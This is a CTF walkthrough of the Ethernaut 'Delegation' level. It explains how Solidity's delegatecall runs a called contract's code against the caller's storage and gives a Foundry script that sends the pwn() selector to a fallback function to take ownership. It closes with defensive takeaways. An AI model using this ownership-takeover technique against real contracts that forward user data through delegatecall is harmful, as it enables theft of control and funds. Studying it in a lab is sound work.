# Ethernaut Level 06 - Delegation

## Objectives

This level wants us to claim the ownership of the contract to win. The concept hidden in this contract is called a Delegate Call or `delegatecall()`. Let's dive in. 

---

## Delegate Call in Solidity
A delegate call is a special low-level call in Solidity to make external calls to another contract. [Solidity By Example](https://solidity-by-example.org/delegatecall/) does an excellent job of explaining this. 

Let's assume there are two contracts, similar to the one shown in Ethernaut's Delegation level, contracts `A` and `B`.
When contract `A` executes `delegatecall` to contract `B`, `B`'s code is executed with contract `A`'s storage, `msg.sender` and `msg.value`.

This means that it is possible to modify a contract's storage using a code (malicious code) belonging to another contract. We will be exploiting this behavior in this blog. 

The delegatecall has the following structure - 

```
address.delegatecall(abi.encodeWithSignature("func_signature", "arguments"));
```

---

## Analysis

Let's first take a look at the `Delegation` contract. There's a fallback function:

```solidity
fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}
```
We can see that the contract is making a delegate call to the `address(delegate)` or the first contract `Delegate`. This call is taking an input of `msg.data` which means whatever data was passed while calling the fallback function. Since we can trigger the fallback function, we can essentially control the `msg.data` passed inside the delegate call. 

An interesting thing to note about delegate call is that whenever our user makes a call to contract Delegation, which in turn is making a delegate call to Delegate, the `msg.sender` received by the Delegate contract will be our user's address and not Delegation's address. 

Let's see the `Delegate` contract. There's an interesting `pwn()` function as shown below:
```solidity
function pwn() public {
    owner = msg.sender;
}
```
This will just assign a new owner to whoever calls the function. Note that the `address public owner;` variable is in slot 0 in both contracts. 

The EVM stores each variable in slots - 

```solidity
contract Example {
    uint256 first;  // slot 0
    uint256 second; // slot 1
}
```

This plays an important role in exploitation. For proper storage mapping via a delegate call, the storage slot order should be the same otherwise the data will go into different variables. 
> To explain the slot arrangement, a whole other blog is needed so we won't be covering it here. It is recommended to go through this amazing [article](https://medium.com/coinmonks/delegatecall-calling-another-contract-function-in-solidity-b579f804178c) which explains it really well. 

Things are coming together now. 

To exploit this level:
1. We need to trigger the fallback function in the Delegation contract to invoke the `pwn()` function via `msg.data`. 
2. This will then make a delegate call to the Delegate contract and execute the `pwn()` function making our user (`msg.sender`) the owner of the Delegate contract. 
3. Since the caller contract's storage is modified, the value for the owner will be stored in slot 0 of the Delegation contract. Fortunately, both of these contracts slot 0 variables have the same name, `owner`, which will make us the owner in the Delegation contract. 

---

## The Exploit

Here's how our [exploit code](https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level06.sol) looks:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel06.sol";

contract POC is Script {
    Delegation level6 = Delegation(0x36FcDCE0C27A8Fed39C1bF563FbC56359757D369);

    function run() external {
        vm.startBroadcast();
        
        console.log("Current owner is : ", level6.owner()); // checking current owner
        (bool success, ) = address(level6).call(abi.encodeWithSignature("pwn()")); // triggering callback with my msg.data
        console.log("Checking delegatecall result : ", success); // checking result for delegatecall
        console.log("New owner is : ", level6.owner()); // confirming new owner
        
        vm.stopBroadcast();
    }
}
```
In the PoC above, we are making a `call()` to the Delegation contract. The `msg.data` can be seen taking the `pwn()` function selector. Since there's no such function in the Delegation contract, the fallback will be triggered and the same `msg.data` will be sent to the Delegate contract, therefore, calling the actual `pwn()` function and making us the owner of the Delegation contract. 

Let's execute the script using 
```
forge script ./script/level06.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660415402841/OzmOsKJEX.png align="left")

Now that we are the new owner, let's submit the instance to finish the level. 

> My **Github Repository** containing all the codes: github.com/az0mb13/ethernaut-foundry

---

## Takeaways
* Care should be taken when using a `delegatecall()` so that it does not accept user inputs either in its parameter or the address to which the call is to be made. 
* Check out the [Parity Wallet Hack](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7/) for a practical exploitation scenario. 

---

#### References
* https://medium.com/coinmonks/ethernaut-lvl-6-walkthrough-how-to-abuse-the-delicate-delegatecall-466b26c429e4
* https://medium.com/coinmonks/delegatecall-calling-another-contract-function-in-solidity-b579f804178c
* https://solidity-by-example.org/delegatecall/
